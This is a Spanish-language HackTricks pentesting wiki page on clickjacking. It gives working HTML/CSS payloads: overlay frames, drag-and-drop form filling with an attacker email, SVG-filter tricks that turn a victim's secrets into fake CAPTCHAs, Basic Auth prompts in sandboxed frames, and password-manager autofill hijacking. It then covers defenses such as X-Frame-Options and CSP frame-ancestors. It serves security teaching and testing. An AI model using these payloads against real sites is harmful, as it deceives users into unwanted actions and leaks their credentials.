Clickjacking

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

¿Qué es Clickjacking?

En un ataque de clickjacking, un usuario es engañado para hacer clic en un elemento de una página web que está invisible o disfrazado como otro elemento. Esta manipulación puede provocar consecuencias no deseadas para el usuario, como la descarga de malware, la redirección a páginas web maliciosas, la provisión de credenciales o información sensible, transferencias de dinero o la compra en línea de productos.

Truco de prellenado de formularios

A veces es posible rellenar los valores de los campos de un formulario usando GET parameters al cargar una página. Un atacante puede abusar de este comportamiento para rellenar un formulario con datos arbitrarios y enviar el clickjacking payload para que el usuario pulse el botón Submit.

Rellenar formulario con Drag&Drop

Si necesitas que el usuario complete un formulario pero no quieres pedirle directamente que escriba información específica (como el email y/o una contraseña concreta que conoces), puedes simplemente pedirle que Drag&Drop algo que escribirá los datos que controlas, como en este ejemplo.

Payload básico

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Payload multietapa

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Arrastrar&Soltar + Click payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Si has identificado un XSS attack that requires a user to click en algún elemento para trigger el XSS y la página es vulnerable to clickjacking, podrías abusar de ello para engañar al usuario y que haga clic en el botón/enlace.
Ejemplo:
Encontraste un self XSS en algunos detalles privados de la cuenta (detalles que solo tú puedes set y read). La página con el form para establecer esos detalles es vulnerable a Clickjacking y puedes prepopulate el form con los GET parameters.
Un atacante podría preparar un ataque de Clickjacking a esa página prepopulating el form con el XSS payload y tricking al user para que Submit el formulario. Entonces, cuando el form se envíe y los valores se modifiquen, el user ejecutará el XSS.

DoubleClickjacking

Firstly explained in this post, esta técnica pediría a la víctima que haga doble clic en un botón de una página personalizada colocada en una ubicación específica, y usar las diferencias de timing entre los eventos mousedown y onclick para cargar la página víctima durante el doble clic de modo que la victim actually clicks a legit button in the victim page.

Un ejemplo puede verse en este video: https://www.youtube.com/watch?v=4rGvRRMrD18

Un ejemplo de código puede encontrarse en this page.

Warning

Esta técnica permite engañar al usuario para que haga clic en 1 lugar en la página víctima eludiendo todas las protecciones contra clickjacking. Por tanto, el atacante necesita encontrar sensitive actions that can be done with just 1 click, like OAuth prompts accepting permissions.

SVG Filters / Cross-Origin Iframe UI Redressing

Las versiones modernas de Chromium/WebKit/Gecko permiten que la propiedad CSS filter:url(#id) se aplique a cross-origin iframes. Los píxeles rasterizados del iframe se exponen al grafo de filtros SVG como SourceGraphic, por lo que primitivas como feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology, etc. pueden deformar arbitrariamente la UI de la víctima antes de que el usuario la vea, aun cuando el atacante nunca toca el DOM. Un simple filtro estilo Liquid-Glass se ve así:

<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
  • Primitivas útiles: feImage carga bitmaps del atacante (p. ej., overlays, displacement maps); feFlood crea mattes de color constante; feOffset/feGaussianBlur afinan los highlights; feDisplacementMap refracta/deforma texto; feComposite operator="arithmetic" implementa matemática arbitraria por canal (r = k1*i1*i2 + k2*i1 + k3*i2 + k4), suficiente para realce de contraste, enmascaramiento y operaciones AND/OR; feTile recorta y replica sondeos de píxeles; feMorphology agranda/reduce trazos; feColorMatrix mueve la luma a alpha para construir máscaras precisas.

Distorsionando secretos en prompts estilo CAPTCHA

Si un endpoint que puede ser enmarcado renderiza secretos (tokens, reset codes, API keys), el atacante puede distorsionarlos para que se parezcan a un CAPTCHA y coaccionar la transcripción manual:

<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>

Los píxeles distorsionados engañan al usuario para que “solves” el captcha dentro del <input> controlado por el atacante cuyo pattern impone el verdadero secreto de la víctima.

Recontextualizando las entradas de la víctima

Los filtros pueden eliminar quirúrgicamente el texto de placeholder/validation mientras conservan las pulsaciones del usuario. Un flujo de trabajo:

  1. feComposite operator="arithmetic" k2≈4 amplifica el brillo para que el texto auxiliar gris se sature a blanco.
  2. feTile limita el área de trabajo al rectángulo del input.
  3. feMorphology operator="erode" engrosa los glifos oscuros tecleados por la víctima y los almacena mediante result="thick".
  4. feFlood crea una placa blanca, feBlend mode="difference" con thick, y un segundo feComposite k2≈100 la convierte en una máscara de luma contundente.
  5. feColorMatrix mueve esa luma al canal alpha, y feComposite in="SourceGraphic" operator="in" conserva solo los glifos ingresados por el usuario.
  6. Otro feBlend in2="white" más un recorte fino dan un campo de texto limpio, tras lo cual el atacante superpone sus propias etiquetas HTML (p. ej., “Enter your email”) mientras el iframe oculto sigue imponiendo la política de contraseñas del origen de la víctima.

Safari tiene problemas con feTile; el mismo efecto puede reproducirse con máscaras espaciales construidas a partir de feFlood + feColorMatrix + feComposite para payloads exclusivos de WebKit.

Sondas de píxeles, lógica y máquinas de estado

Recortando una región de 2–4 px con feTile y tejiéndola al 100% del viewport, el atacante transforma el color muestreado en una textura de cuadro entero que puede umbralizarse en una máscara booleana:

<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0  0 0 0 0 0  0 0 0 0 0  0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>

Para colores arbitrarios, una referencia feFlood (p. ej., #0B57D0) más feBlend mode="difference" y otro composite aritmético (k2≈100, k4 como tolerancia) produce blanco solo cuando el píxel muestreado coincide con la tonalidad objetivo. Alimentar estas máscaras en feComposite con k1..k4 ajustados genera puertas lógicas: AND vía k1=1, OR vía k2=k3=1, XOR vía feBlend mode="difference", NOT mediante mezcla contra blanco. Encadenar puertas crea un sumador completo dentro del grafo de filtros, demostrando que la tubería es funcionalmente completa.

Por tanto, los atacantes pueden leer el estado de la UI sin JavaScript. Ejemplos de booleanos en un flujo modal:

  • D (diálogo visible): sondear una esquina oscurecida y comparar con blanco.
  • L (diálogo cargado): sondear las coordenadas donde aparece el botón una vez esté listo.
  • C (checkbox marcada): comparar el píxel de la casilla contra el azul activo #0B57D0.
  • R (banner rojo de éxito/fracaso): usar feMorphology y umbrales rojos dentro del rectángulo del banner.

Cada estado detectado activa un bitmap de overlay diferente insertado vía feImage xlink:href="data:...". Enmascarar esos bitmaps con D, L, C, R mantiene las superposiciones sincronizadas con el diálogo real y guía a la víctima a través de flujos multi-paso (restablecimientos de contraseña, aprobaciones, confirmaciones destructivas) sin exponer nunca el DOM.

Diálogo de Basic Auth en iframe sandboxed (sin allow-popups)

Un iframe sandboxed sin allow-popups aún puede mostrar un HTTP Basic Authentication modal controlado por el navegador cuando una carga devuelve 401 con WWW-Authenticate. El diálogo lo genera la capa de red/autenticación del navegador (no los alert/prompt/confirm de JS), por lo que las restricciones de popups en el sandbox no lo suprimen. Si puedes scriptar el iframe (p. ej., sandbox="allow-scripts") puedes navegarlo a cualquier endpoint que emita un desafío de Basic Auth:

<iframe id="basic" sandbox="allow-scripts"></iframe>
<script>
basic.src = "https://httpbin.org/basic-auth/user/pass"
</script>

Una vez que llega la respuesta, el navegador solicita credenciales aunque los popups estén bloqueados. Framing a trusted origin with this trick enables UI redress/phishing: unexpected modal prompts inside a “sandboxed” widget can confuse users or trigger password managers to offer stored credentials.

Browser extensions: DOM-based autofill clickjacking

Aside from iframing victim pages, attackers can target browser extension UI elements that are injected into the page. Password managers render autofill dropdowns near focused inputs; by focusing an attacker-controlled field and hiding/occluding the extension’s dropdown (opacity/overlay/top-layer tricks), a coerced user click can select a stored item and fill sensitive data into attacker-controlled inputs. This variant requires no iframe exposure and works entirely via DOM/CSS manipulation.

Strategies to Mitigate Clickjacking

Defensas del lado del cliente

Los scripts ejecutados en el cliente pueden realizar acciones para prevenir Clickjacking:

  • Asegurarse de que la ventana de la aplicación sea la ventana principal o top window.
  • Hacer visibles todos los frames.
  • Evitar clics en frames invisibles.
  • Detectar y alertar a los usuarios sobre posibles intentos de Clickjacking.

Sin embargo, estos scripts frame-busting pueden ser eludidos:

  • Configuraciones de seguridad del navegador: Algunos navegadores podrían bloquear estos scripts según sus ajustes de seguridad o por falta de soporte de JavaScript.
  • Atributo sandbox de iframe HTML5: Un atacante puede neutralizar los scripts frame-busting estableciendo el atributo sandbox con los valores allow-forms o allow-scripts sin allow-top-navigation. Esto impide que el iframe verifique si es la ventana superior, p. ej.,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

Los valores allow-forms y allow-scripts permiten acciones dentro del iframe mientras deshabilitan la navegación a nivel superior. Para asegurar la funcionalidad prevista del sitio objetivo, pueden ser necesarios permisos adicionales como allow-same-origin y allow-modals, según el tipo de ataque. Los mensajes de la consola del navegador pueden indicar qué permisos permitir.

Defensas del lado del servidor

X-Frame-Options

El encabezado de respuesta HTTP X-Frame-Options informa a los navegadores sobre la legitimidad de renderizar una página en un <frame> o <iframe>, ayudando a prevenir Clickjacking:

  • X-Frame-Options: deny - Ningún dominio puede embeber el contenido en un frame.
  • X-Frame-Options: sameorigin - Solo el mismo sitio puede embeber el contenido.
  • X-Frame-Options: allow-from https://trusted.com - Solo el ‘uri’ especificado puede embeber la página.
  • Ten en cuenta las limitaciones: si el navegador no soporta esta directiva, podría no funcionar. Algunos navegadores prefieren la directiva frame-ancestors de CSP.

Directiva frame-ancestors de Content Security Policy (CSP)

La directiva frame-ancestors en CSP es el método recomendado para la protección contra Clickjacking:

  • frame-ancestors 'none' - Similar a X-Frame-Options: deny.
  • frame-ancestors 'self' - Similar a X-Frame-Options: sameorigin.
  • frame-ancestors trusted.com - Similar a X-Frame-Options: allow-from.

Por ejemplo, la siguiente CSP solo permite embeber desde el mismo dominio:

Content-Security-Policy: frame-ancestors 'self';

Más detalles y ejemplos complejos se pueden encontrar en la frame-ancestors CSP documentation y en la Mozilla’s CSP frame-ancestors documentation.

Content Security Policy (CSP) con child-src y frame-src

Content Security Policy (CSP) es una medida de seguridad que ayuda a prevenir Clickjacking y otros ataques de inyección de código al especificar qué fuentes debe permitir el navegador para cargar contenido.

frame-src Directive

  • Define fuentes válidas para frames.
  • Más específica que la directiva default-src.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Esta política permite frames del mismo origen (self) y de https://trusted-website.com.

child-src Directiva

  • Introducida en el nivel 2 de CSP para establecer fuentes válidas para web workers y frames.
  • Actúa como respaldo para frame-src y worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

Esta política permite frames y workers desde el mismo origen (self) y https://trusted-website.com.

Notas de uso:

  • Deprecación: child-src está quedando obsoleto en favor de frame-src y worker-src.
  • Comportamiento de fallback: Si frame-src está ausente, child-src se usa como fallback para frames. Si ambos están ausentes, se utiliza default-src.
  • Definición estricta de fuentes: Incluya solo fuentes de confianza en las directivas para prevenir la explotación.

JavaScript Frame-Breaking Scripts

Aunque no son completamente infalibles, JavaScript-based frame-busting scripts pueden usarse para evitar que una página web sea enmarcada. Ejemplo:

if (top !== self) {
top.location = self.location
}

Empleando Anti-CSRF Tokens

  • Validación de Token: Utilice anti-CSRF tokens en aplicaciones web para asegurar que las solicitudes que cambian el estado se realicen intencionadamente por el usuario y no a través de una página Clickjacked.

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks